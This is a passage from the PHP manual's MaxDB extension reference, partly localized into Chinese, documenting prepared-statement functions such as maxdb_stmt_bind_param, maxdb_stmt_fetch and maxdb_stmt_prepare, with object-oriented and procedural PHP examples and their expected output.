If a variable bound as INTO variable to a SQL statement was used before, the content of this variable is overwritten by the data of the SELECT INTO statement. A reference to this variable will be invalid after a call to maxdb_stmt_bind_param().

For INOUT parameters of database procedures the content of the bound INOUT variable is overwritten by the output value of the database procedure. A reference to this variable will be invalid after a call to maxdb_stmt_bind_param().

表格 1. Type specification chars

Character | Description
i | corresponding variable has type integer
d | corresponding variable has type double
s | corresponding variable has type string
b | corresponding variable is a blob and will be send in packages

Return values

如果成功则返回 TRUE，失败则返回 FALSE。

See also

maxdb_stmt_bind_result(),
maxdb_stmt_execute(),
maxdb_stmt_fetch(),
maxdb_prepare(),
maxdb_stmt_send_long_data(),
maxdb_stmt_errno(),
maxdb_stmt_error()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb('localhost', 'MONA', 'RED', 'DEMODB');

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query ("CREATE TABLE temp.mycity LIKE hotel.city");
$maxdb->query ("INSERT INTO temp.mycity SELECT * FROM hotel.city");

$stmt = $maxdb->prepare("INSERT INTO temp.mycity VALUES (?, ?, ?)");
$stmt->bind_param('sss', $zip, $name, $state);

$zip = '11111';
$name = 'Georgetown';
$state = 'NY';

/* execute prepared statement */
$stmt->execute();

printf("%d Row inserted.\n", $stmt->affected_rows);

/* close statement and connection */
$stmt->close();

/* Clean up table CountryLanguage */
$maxdb->query("DELETE FROM temp.mycity WHERE name='Georgetown'");
printf("%d Row deleted.\n", $maxdb->affected_rows);

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_query ($link, "CREATE TABLE temp.mycity LIKE hotel.city");
maxdb_query ($link, "INSERT INTO temp.mycity SELECT * FROM hotel.city");

$stmt = maxdb_prepare($link, "INSERT INTO temp.mycity VALUES (?, ?, ?)");
maxdb_stmt_bind_param($stmt, 'sss', $zip, $name, $state);

$zip = '11111';
$name = 'Georgetown';
$state = 'NY';

/* execute prepared statement */
maxdb_stmt_execute($stmt);

printf("%d Row inserted.\n", maxdb_stmt_affected_rows($stmt));

/* close statement and connection */
maxdb_stmt_close($stmt);

/* Clean up table CountryLanguage */
maxdb_query($link, "DELETE FROM temp.mycity WHERE name='Georgetown'");
printf("%d Row deleted.\n", maxdb_affected_rows($link));

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

1 Row inserted.
1 Row deleted.

例子 3. Procedural style (SELECT INTO)

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Performing SQL query */
$stmt = maxdb_prepare ($link, "SELECT price INTO ? FROM hotel.room where hno = ? and type = ?");
if (!$stmt) {
  printf ("Prepare failed: %s\n", maxdb_error($link));
}

$hno = "50";
$rtype = "suite";

maxdb_stmt_bind_param($stmt, 'dss', $price, $hno, $rtype);
maxdb_stmt_execute($stmt);

printf ("%f\n", $price);

maxdb_stmt_close ($stmt);
?>

The above examples would produce the following output:

21.600000

例子 4. Procedural style (DB procedure)

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_report (MAXDB_REPORT_OFF);
maxdb_query($link,"DROP DBPROC test_proc");
maxdb_report (MAXDB_REPORT_ERROR);

$query = "create dbproc test_proc (INOUT e_text char(72)) AS select * from SYSDBA.DUAL; fetch into :e_text;";

maxdb_query($link, $query);

/* Performing SQL query */
$stmt = maxdb_prepare ($link, "CALL test_proc (?)");
if (!$stmt) {
  printf ("Prepare failed: %s\n", maxdb_error($link));
}

maxdb_stmt_bind_param($stmt, 's', $result);
maxdb_stmt_execute($stmt);

printf ("%s\n", $result);

maxdb_stmt_close ($stmt);
?>

The above examples would produce the following output:

a

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_stmt_affected_rows | 上一级 | maxdb_stmt_bind_result


maxdb_stmt_bind_result

(PECL)

maxdb_stmt_bind_result

(no version information, might be only in CVS)

stmt->bind_result -- Binds variables to a prepared statement for result storage

Description

Procedural style:

bool maxdb_stmt_bind_result ( resource stmt, mixed &var1 [, mixed &...] )

Object oriented style (method):

class stmt {

bool bind_result ( mixed &var1 [, mixed &...] )

}

maxdb_stmt_bind_result() is used to associate (bind) columns in the result set to variables. When maxdb_stmt_fetch() is called to fetch data, the MaxDB client/server protocol places the data for the bound columns into the specified variables var1, ....

注: Note that all columns must be bound prior to calling maxdb_stmt_fetch(). Depending on column types bound variables can silently change to the corresponding PHP type.

A column can be bound or rebound at any time, even after a result set has been partially retrieved. The new binding takes effect the next time maxdb_stmt_fetch() is called.

Return values

如果成功则返回 TRUE，失败则返回 FALSE。

See also

maxdb_stmt_bind_param(),
maxdb_stmt_execute(),
maxdb_stmt_fetch(),
maxdb_prepare(),
maxdb_stmt_prepare(),
maxdb_stmt_init(),
maxdb_stmt_errno(),
maxdb_stmt_error()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* prepare statement */
if ($stmt = $maxdb->prepare("SELECT zip, name FROM hotel.city ORDER BY name")) {
   $stmt->execute();

   /* bind variables to prepared statement */
   $stmt->bind_result($col1, $col2);

   /* fetch values */
   while ($stmt->fetch()) {
       printf("%s %s\n", $col1, $col2);
   }

   /* close statement */
   $stmt->close();
}
/* close connection */
$maxdb->close();

?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* prepare statement */
if ($stmt = maxdb_prepare($link, "SELECT zip, name FROM hotel.city ORDER BY name")) {
   maxdb_stmt_execute($stmt);

   /* bind variables to prepared statement */
   maxdb_stmt_bind_result($stmt, $col1, $col2);

   /* fetch values */
   while (maxdb_stmt_fetch($stmt)) {
       printf("%s %s\n", $col1, $col2);
   }

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

12203 Albany
60601 Chicago
60615 Chicago
45211 Cincinnati
33575 Clearwater
75243 Dallas
32018 Daytona Beach
33441 Deerfield Beach
48226 Detroit
90029 Hollywood
92714 Irvine
90804 Long Beach
11788 Long Island
90018 Los Angeles
70112 New Orleans
10019 New York
10580 New York
92262 Palm Springs
97213 Portland
60018 Rosemont
95054 Santa Clara
20903 Silver Spring
20005 Washington
20019 Washington
20037 Washington

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_stmt_bind_param | 上一级 | maxdb_stmt_close_long_data


maxdb_stmt_close_long_data

(PECL)

maxdb_stmt_close_long_data

(no version information, might be only in CVS)

stmt->close_long_data -- Ends a sequence of maxdb_stmt_send_long_data()

Description

Procedural style:

bool maxdb_stmt_close_long_data ( resource stmt, int param_nr )

Object oriented style (method):

class maxdb_stmt {

bool maxdb_stmt->close_long_data ( void )

}

This function has to be called after a sequence of maxdb_stmt_send_long_data(), that was started after maxdb_execute().

param_nr indicates which parameter to associate the end of data with. Parameters are numbered beginning with 0.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

maxdb_prepare(), maxdb_stmt_bind_param()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_stmt_bind_result | 上一级 | maxdb_stmt_close


maxdb_stmt_close

(PECL)

maxdb_stmt_close

(no version information, might be only in CVS)

maxdb_stmt->close -- Closes a prepared statement

Description

Procedural style:

bool maxdb_stmt_close ( resource stmt )

Object oriented style (method):

class maxdb_stmt {

bool maxdb_stmt->close ( void )

}

Closes a prepared statement. maxdb_stmt_close() also deallocates the statement handle pointed to by stmt. If the current statement has pending or unread results, this function cancels them so that the next query can be executed.

Return values

如果成功则返回 TRUE，失败则返回 FALSE。

See also

maxdb_prepare(),

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_stmt_close_long_data | 上一级 | maxdb_stmt_data_seek


maxdb_stmt_data_seek

(PECL)

maxdb_stmt_data_seek

(no version information, might be only in CVS)

stmt->data_seek -- Seeks to an arbitray row in statement result set

Description

Procedural style:

bool maxdb_stmt_data_seek ( resource statement, int offset )

Object oriented style (method):

class stmt {

bool data_seek ( int offset )

}

The maxdb_stmt_data_seek() function seeks to an arbitrary result pointer specified by the offset in the statement result set represented by statement. The offset parameter must be between zero and the total number of rows minus one (0..maxdb_stmt_num_rows() - 1).

Return values

如果成功则返回 TRUE，失败则返回 FALSE。

See also

maxdb_prepare()

Example

例子 1. Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, zip FROM hotel.city ORDER BY name";
if ($stmt = $maxdb->prepare($query)) {

   /* execute query */
   $stmt->execute();

   /* bind result variables */
   $stmt->bind_result($name, $code);

   /* store result */
   $stmt->store_result();

   /* seek to row no. 5 */
   $stmt->data_seek(5);

   /* fetch values */
   $stmt->fetch();

   printf ("City: %s  Zip: %s\n", $name, $code);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
/* Open a connection */
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, zip FROM hotel.city ORDER BY name";
if ($stmt = maxdb_prepare($link, $query)) {

   /* execute query */
   maxdb_stmt_execute($stmt);

   /* bind result variables */
   maxdb_stmt_bind_result($stmt, $name, $code);

   /* store result */
   maxdb_stmt_store_result($stmt);

   /* seek to row no. 400 */
   maxdb_stmt_data_seek($stmt, 5);

   /* fetch values */
   maxdb_stmt_fetch($stmt);

   printf ("City: %s  Zip: %s\n", $name, $code);

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

City: Dallas  Zip: 75243

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_stmt_close | 上一级 | maxdb_stmt_errno


maxdb_stmt_errno

(PECL)

maxdb_stmt_errno

(no version information, might be only in CVS)

maxdb_stmt->errno -- Returns the error code for the most recent statement call

Description

Procedural style :

int maxdb_stmt_errno ( resource stmt )

Object oriented style (property):

class stmt {

int errno

}

For the statement specified by stmt, maxdb_stmt_errno() returns the error code for the most recently invoked statement function that can succeed or fail.

注: For possible error codes see documentation of SQLDBC: http://dev.mysql.com/doc/maxdb/.

Return values

An error code value. Zero means no error occurred.

See also

maxdb_stmt_error(), maxdb_stmt_sqlstate()

Example

例子 1. Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");
$maxdb->query("INSERT INTO temp.mycity SELECT * FROM hotel.city");

$query = "SELECT name, zip FROM temp.mycity ORDER BY name";
if ($stmt = $maxdb->prepare($query)) {

   /* drop table */
   $maxdb->query("DROP TABLE temp.mycity");

   /* execute query */
   $stmt->execute();

   printf("Error: %d.\n", $stmt->errno);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
/* Open a connection */
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");
maxdb_query($link, "INSERT INTO temp.mycity SELECT * FROM hotel.city");

$query = "SELECT name, zip FROM temp.mycity ORDER BY name";
if ($stmt = maxdb_prepare($link, $query)) {

   /* drop table */
   maxdb_query($link, "DROP TABLE temp.mycity");

   /* execute query */
   maxdb_stmt_execute($stmt);

   printf("Error: %d.\n", maxdb_stmt_errno($stmt));

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Warning: maxdb_stmt_execute(): -4004 POS(23) Unknown table name:MYCITY [42000] <...>
Error: -4004.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_stmt_data_seek | 上一级 | maxdb_stmt_error


maxdb_stmt_error

(PECL)

maxdb_stmt_error

(no version information, might be only in CVS)

maxdb_stmt->error -- Returns a string description for last statement error

Description

Procedural style:

string maxdb_stmt_error ( resource stmt )

Object oriented style (property):

class stmt {

string error

}

For the statement specified by stmt, maxdb_stmt_error() returns a containing the error message for the most recently invoked statement function that can succeed or fail.

Return values

A string that describes the error. An empty string if no error occurred.

See also

maxdb_stmt_errno(), maxdb_stmt_sqlstate()

Example

例子 1. Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");
$maxdb->query("INSERT INTO temp.mycity SELECT * FROM hotel.city");

$query = "SELECT name, zip FROM temp.mycity ORDER BY name";
if ($stmt = $maxdb->prepare($query)) {

   /* drop table */
   $maxdb->query("DROP TABLE temp.mycity");

   /* execute query */
   $stmt->execute();

   printf("Error: %s.\n", $stmt->error);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
/* Open a connection */
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");
maxdb_query($link, "INSERT INTO temp.mycity SELECT * FROM hotel.city");

$query = "SELECT name, zip FROM temp.mycity ORDER BY name";
if ($stmt = maxdb_prepare($link, $query)) {

   /* drop table */
   maxdb_query($link, "DROP TABLE temp.mycity");

   /* execute query */
   maxdb_stmt_execute($stmt);

   printf("Error: %s.\n", maxdb_stmt_error($stmt));

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Warning: maxdb_stmt_execute(): -4004 POS(23) Unknown table name:MYCITY [42000] <...>
Error: POS(23) Unknown table name:MYCITY.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_stmt_errno | 上一级 | maxdb_stmt_execute


maxdb_stmt_execute

(PECL)

maxdb_stmt_execute

(no version information, might be only in CVS)

stmt->execute -- Executes a prepared Query

Description

Procedural style:

bool maxdb_stmt_execute ( resource stmt )

Object oriented style (method):

class stmt {

bool execute ( void )

}

The maxdb_stmt_execute() function executes a query that has been previously prepared using the maxdb_prepare() function represented by the stmt resource. When executed any parameter markers which exist will automatically be replaced with the appropiate data.

If the statement is UPDATE, DELETE, or INSERT, the total number of affected rows can be determined by using the maxdb_stmt_affected_rows() function. Likewise, if the query yields a result set the maxdb_fetch() function is used.

注: When using maxdb_stmt_execute(), the maxdb_fetch() function must be used to fetch the data prior to preforming any additional queries.

Return values

如果成功则返回 TRUE，失败则返回 FALSE。

See also

maxdb_prepare() maxdb_stmt_bind_param().

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");

/* Prepare an insert statement */
$query = "INSERT INTO temp.mycity (zip, name, state) VALUES (?,?,?)";
$stmt = $maxdb->prepare($query);

$stmt->bind_param("sss", $val1, $val2, $val3);

$val1 = '11111';
$val2 = 'Georgetown';
$val3 = 'NY';

/* Execute the statement */
$stmt->execute();

$val1 = '22222';
$val2 = 'Hubbatown';
$val3 = 'CA';

/* Execute the statement */
$stmt->execute();

/* close statement */
$stmt->close();

/* retrieve all rows from myCity */
$query = "SELECT zip, name, state FROM temp.mycity";
if ($result = $maxdb->query($query)) {
   while ($row = $result->fetch_row()) {
       printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]);
   }
   /* free result set */
   $result->close();
}

/* remove table */
$maxdb->query("DROP TABLE temp.mycity");

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");

/* Prepare an insert statement */
$query = "INSERT INTO temp.mycity (zip, name, state) VALUES (?,?,?)";
$stmt = maxdb_prepare($link, $query);

maxdb_stmt_bind_param($stmt, "sss", $val1, $val2, $val3);

$val1 = '11111';
$val2 = 'Georgetown';
$val3 = 'NY';

/* Execute the statement */
maxdb_stmt_execute($stmt);

$val1 = '22222';
$val2 = 'Hubbatown';
$val3 = 'CA';

/* Execute the statement */
maxdb_stmt_execute($stmt);

/* close statement */
maxdb_stmt_close($stmt);

/* retrieve all rows from myCity */
$query = "SELECT zip, name, state FROM temp.mycity";
if ($result = maxdb_query($link, $query)) {
   while ($row = maxdb_fetch_row($result)) {
       printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]);
   }
   /* free result set */
   maxdb_free_result($result);
}

/* remove table */
maxdb_query($link, "DROP TABLE temp.mycity");

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

11111 (Georgetown,NY)
22222 (Hubbatown,CA)

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_stmt_error | 上一级 | maxdb_stmt_fetch


maxdb_stmt_fetch

(PECL)

maxdb_stmt_fetch

(no version information, might be only in CVS)

stmt->fetch -- Fetch results from a prepared statement into the bound variables

Description

Procedural style:

bool maxdb_stmt_fetch ( resource stmt )

Object oriented style (method):

class stmt {

bool fetch ( void )

}

maxdb_stmt_fetch() returns row data using the variables bound by maxdb_stmt_bind_result().

注: Note that all columns must be bound by the application before calling maxdb_stmt_fetch().

Return values

表格 1. Return values

Value | Description
TRUE | Success. Data has been fetched
FALSE | Error occured
NULL | No more rows/data exists

See also

maxdb_prepare(),
maxdb_stmt_errno(),
maxdb_stmt_error(),
maxdb_stmt_bind_result()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT zip, name FROM hotel.city ORDER by name";

if ($stmt = $maxdb->prepare($query)) {

   /* execute statement */
   $stmt->execute();

   /* bind result variables */
   $stmt->bind_result($name, $code);

   /* fetch values */
   while ($stmt->fetch()) {
       printf ("%s (%s)\n", $name, $code);
   }

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT zip, name FROM hotel.city ORDER by name";

if ($stmt = maxdb_prepare($link, $query)) {

   /* execute statement */
   maxdb_stmt_execute($stmt);

   /* bind result variables */
   maxdb_stmt_bind_result($stmt, $name, $code);

   /* fetch values */
   while (maxdb_stmt_fetch($stmt)) {
       printf ("%s (%s)\n", $name, $code);
   }

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

12203 (Albany)
60601 (Chicago)
60615 (Chicago)
45211 (Cincinnati)
33575 (Clearwater)
75243 (Dallas)
32018 (Daytona Beach)
33441 (Deerfield Beach)
48226 (Detroit)
90029 (Hollywood)
92714 (Irvine)
90804 (Long Beach)
11788 (Long Island)
90018 (Los Angeles)
70112 (New Orleans)
10019 (New York)
10580 (New York)
92262 (Palm Springs)
97213 (Portland)
60018 (Rosemont)
95054 (Santa Clara)
20903 (Silver Spring)
20005 (Washington)
20019 (Washington)
20037 (Washington)

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_stmt_execute | 上一级 | maxdb_stmt_free_result


maxdb_stmt_free_result

(PECL)

maxdb_stmt_free_result

(no version information, might be only in CVS)

stmt->free_result -- Frees stored result memory for the given statement handle

Description

Procedural style:

void maxdb_stmt_free_result ( resource stmt )

Object oriented style (method):

class stmt {

void free_result ( void )

}

The maxdb_stmt_free_result() function frees the result memory associated with the statement represented by the stmt parameter, which was allocated by maxdb_stmt_store_result().

返回值

This function doesn't return any value.

参见

maxdb_stmt_store_result()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_stmt_fetch | 上一级 | maxdb_stmt_init


maxdb_stmt_init

(PECL)

maxdb_stmt_init

(no version information, might be only in CVS)

maxdb->stmt_init -- Initializes a statement and returns an resource for use with maxdb_stmt_prepare

Description

Procedural style :

resource maxdb_stmt_init ( resource link )

Object oriented style (property):

class maxdb {

object stmt_init ( void )

}

Allocates and initializes a statement resource suitable for maxdb_stmt_prepare().

注: Any subsequent calls to any maxdb_stmt function will fail until maxdb_stmt_prepare() was called.

返回值

Returns an resource.

参见

maxdb_stmt_prepare()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_stmt_free_result | 上一级 | maxdb_stmt_num_rows


maxdb_stmt_num_rows

(PECL)

maxdb_stmt_num_rows

(no version information, might be only in CVS)

stmt->num_rows -- Return the number of rows in statements result set

Description

Procedural style :

int maxdb_stmt_num_rows ( resource stmt )

Object oriented style (property):

class stmt {

int num_rows

}

Returns the number of rows in the result set.

Return values

An integer representing the number of rows in result set.

See also

maxdb_stmt_affected_rows(),
maxdb_prepare(),
maxdb_stmt_store_result()

Example

例子 1. Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT zip, name FROM hotel.city ORDER BY name";
if ($stmt = $maxdb->prepare($query)) {

   /* execute query */
   $stmt->execute();

   /* store result */
   $stmt->store_result();

   printf("Number of rows: %d.\n", $stmt->num_rows);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
/* Open a connection */
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT zip, name FROM hotel.city ORDER BY name";
if ($stmt = maxdb_prepare($link, $query)) {

   /* execute query */
   maxdb_stmt_execute($stmt);

   /* store result */
   maxdb_stmt_store_result($stmt);

   printf("Number of rows: %d.\n", maxdb_stmt_num_rows($stmt));

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Number of rows: 25.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_stmt_init | 上一级 | maxdb_stmt_param_count


maxdb_stmt_param_count

(PECL)

maxdb_stmt_param_count

(no version information, might be only in CVS)

stmt->param_count -- Returns the number of parameter for the given statement

Description

Procedural style:

int maxdb_stmt_param_count ( resource stmt )

Object oriented style (property):

class stmt {

int param_count

}

maxdb_stmt_param_count() returns the number of parameter markers present in the prepared statement.

返回值

returns an integer representing the number of parameters.

参见

maxdb_prepare()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($stmt = $maxdb->prepare("SELECT name FROM hotel.city WHERE name=? OR state=?")) {

   $marker = $stmt->param_count;
   printf("Statement has %d markers.\n", $marker);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($stmt = maxdb_prepare($link, "SELECT name FROM hotel.city WHERE name=? OR state=?")) {

   $marker = maxdb_stmt_param_count($stmt);
   printf("Statement has %d markers.\n", $marker);

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Statement has 2 markers.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_stmt_num_rows | 上一级 | maxdb_stmt_prepare


maxdb_stmt_prepare

(PECL)

maxdb_stmt_prepare

(no version information, might be only in CVS)

stmt->prepare -- Prepare a SQL statement for execution

Description

Procedure style:

bool maxdb_stmt_prepare ( resource stmt, string query )

Object oriented style (method)

class stmt {

mixed prepare ( string query )

}

maxdb_stmt_prepare() prepares the SQL query pointed to by the null-terminated string query. The statement resource has to be allocated by maxdb_stmt_init(). The query must consist of a single SQL statement.

注: You should not add a terminating semicolon or \g to the statement.

The parameter query can include one or more parameter markers in the SQL statement by embedding question mark (?) characters at the appropriate positions.

注: The markers are legal only in certain places in SQL statements. For example, they are allowed in the VALUES() list of an INSERT statement (to specify column values for a row), or in a comparison with a column in a WHERE clause to specify a comparison value.

However, they are not allowed for identifiers (such as table or column names), in the select list that names the columns to be returned by a SELECT statement), or to specify both operands of a binary operator such as the = equal sign. The latter restriction is necessary because it would be impossible to determine the parameter type. In general, parameters are legal only in Data Manipulation Languange (DML) statements, and not in Data Defination Language (DDL) statements.

The parameter markers must be bound to application variables using maxdb_stmt_bind_param() and/or maxdb_stmt_bind_result() before executing the statement or fetching rows.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

maxdb_stmt_init(),
maxdb_stmt_execute(),
maxdb_stmt_fetch(),
maxdb_stmt_bind_param(),
maxdb_stmt_bind_result(),
maxdb_stmt_close()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$city = "Portland";

/* create a prepared statement */
$stmt =  $maxdb->stmt_init();
if ($stmt->prepare("SELECT state FROM hotel.city WHERE name=?")) {

   /* bind parameters for markers */
   $stmt->bind_param("s", $city);

   /* execute query */
   $stmt->execute();

   /* bind result variables */
   $stmt->bind_result($district);

   /* fetch value */
   $stmt->fetch();

   printf("%s is in district %s\n", $city, $district);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$city = "Portland";

/* create a prepared statement */
$stmt = maxdb_stmt_init($link);
if (maxdb_stmt_prepare($stmt, "SELECT state FROM hotel.city WHERE name=?")) {

   /* bind parameters for markers */
   maxdb_stmt_bind_param($stmt, "s", $city);

   /* execute query */
   maxdb_stmt_execute($stmt);

   /* bind result variables */
   maxdb_stmt_bind_result($stmt, $district);

   /* fetch value */
   maxdb_stmt_fetch($stmt);

   printf("%s is in district %s\n", $city, $district);

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Portland is in district OR

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_stmt_param_count | 上一级 | maxdb_stmt_reset


maxdb_stmt_reset

(PECL)

maxdb_stmt_reset

(no version information, might be only in CVS)

stmt->reset -- Resets a prepared statement

Description

Procedural style:

bool maxdb_stmt_reset ( resource stmt )

Object oriented style (method):

class stmt {

bool reset ( void )

}

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_stmt_prepare | 上一级 | maxdb_stmt_result_metadata


maxdb_stmt_result_metadata

(PECL)

maxdb_stmt_result_metadata -- Returns result set metadata from a prepared statement

Description

Procedural style:

resource maxdb_stmt_result_metadata ( resource stmt )

Object oriented style (method):

class stmt {

resource result_metadata ( void )

}

If a statement passed to maxdb_prepare() is one that produces a result set, maxdb_stmt_result_metadata() returns the result resource that can be used to process the meta information such as total number of fields and individual field information.

注: This result set pointer can be passed as an argument to any of the field-based functions that process result set metadata, such as:

  • maxdb_num_fields()

  • maxdb_fetch_field()

  • maxdb_fetch_field_direct()

  • maxdb_fetch_fields()

  • maxdb_field_count()

  • maxdb_field_seek()

  • maxdb_field_tell()

  • maxdb_free_result()

The result set structure should be freed when you are done with it, which you can do by passing it to maxdb_free_result()

注: The result set returned by maxdb_stmt_result_metadata() contains only metadata. It does not contain any row results. The rows are obtained by using the statement handle with maxdb_fetch().

返回值

maxdb_stmt_result_metadata() returns a result resource or FALSE if an error occured.

See also:

maxdb_prepare(), maxdb_free_result()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

$maxdb->query("CREATE TABLE temp.friends (id int, name varchar(20))");

